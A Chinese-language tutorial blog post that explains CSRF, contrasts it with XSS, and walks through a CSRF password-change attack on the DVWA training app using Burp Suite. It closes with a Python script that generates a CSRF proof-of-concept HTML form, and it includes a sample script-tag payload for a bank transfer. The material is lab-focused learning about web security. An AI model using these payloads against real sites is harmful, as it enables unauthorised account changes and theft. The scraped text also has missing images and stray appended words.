淺談CSRF漏洞

前言:
看完小迪老師的CSRF漏洞講解。感受不行
就本身百度學習。這是總結出來的。
 
歌曲:
 
正文:
CSRF與xss和像,可是兩個是徹底不同的東西。
xss攻擊(跨站腳本攻擊)儲存型的XSS由攻擊者和受害者一同完成。xss詳細介紹: 點我跳轉
 
CSRF(跨站腳本僞造)徹底由受害者完成。攻擊者不參與其中。CSRF詳細介紹: 點我跳轉
 
CSRF原理:
 
銀行轉帳的數據包:http://jianse.com/zhuanzhang.php?name=lu&email=xxx@qq.com&monet=1000
攻擊者的博客:http://www.hack.com/index,php
把這個加入到js裏面。<script src=" http://jianse.com/zhuanzhang.php?name=lu&email= xxx@qq.com&monet=1000"></script>將這條代碼計入到攻擊者的博客。若是受害者登陸了銀行。而Session又沒有過時,後而訪問了攻擊者的博客。當攻擊者的博客加載好了js代碼。受害者就會打了1000元給攻擊者。
 

 

實驗:
這裏我使用DVWA來作使CSRF漏洞實現。攻擊步驟以下:
首先登陸DVWA,來到CSRF這裏。 注:這裏個人防護等級爲low

 

啓動Burpsuite,設置代理。

 

回到剛剛的頁面,輸入要更改的密碼。burp開啓抓包
 

 

抓到的包

 

構造CSRF POC

 

更改所須要的

 

點擊Regenerate按鈕更新POC,點擊Test in browser複製連接

 

點擊Copy按鈕。複製到瀏覽器上使用

 

點擊按鈕實行csrf攻擊。

 

從圖中咱們能夠看到密碼已經更改,退回登陸界面。

 

點擊登陸

 

從圖中咱們能夠看到,CSRF攻擊已經成功實施。
既然如此咱們爲何不寫一個CSRF腳本呢?
代碼以下:
import time
import simplejson as json
def poc():
    url="http://a2fae7a7.ngrok.io/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change"
    headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
    values=url.split('?')[-1]
    urltwo=url.split('?')[:-1]
    urltwos="".join(urltwo)
    dumps={}
    for line in values.split('&'):
        key,value=line.split('=',1)
        dumps[key]=value
        discts=[i for i in dumps.keys()]
    print('原url:',url)
    print('url原帶的參數:',dumps)
    dumps['password_new'] = 'password'
    dumps['password_conf'] = 'password'
    valueswto=[g for g in  dumps.values()]
    print('url更該後的參數',dumps)
    print('1.burpsuite的POC')


    user=input('請進行你的選擇:')
    if user == '1':
        print('burpsiuite的POC')
        burp=open('burp.html','w')
        burp.write('<html>\n')
        burp.write('<body>\n')
        burp.write('<script>history.pushState("''","''",'"'/'"')</script>\n')
        burp.write('<form action="{}">\n'.format(urltwos))
        burp.write('<input type="hidden" name="{}" value="{}"/>\n'.format(discts[0],valueswto[0]))
        burp.write('<input type="hidden" name="{}" value="{}"/>\n'.format(discts[1],valueswto[1]))
        burp.write('<input type="hidden" name="{}" value="{}"/>\n'.format(discts[2],valueswto[2]))
        burp.write('<input type="submit" value="Submit CSRF POC"/>\n')
        burp.write('</form>\n')
        burp.write('</body>\n')
        burp.write('</html>\n')
        burp.close()
    else:
        print('【-】抱歉你沒有進行選擇,退出ing...')
        time.sleep(1)
        exit()



poc()

  測試結果以下:php

生成的htmlhtml

打開burp.htmlpython

 

 點擊按鈕

密碼更改爲功。web

有關CSRF的資料:《CSRF原理》json

《深刻CSRF解析》瀏覽器

《從0開始學CSRF》app

相關文章
相關標籤/搜索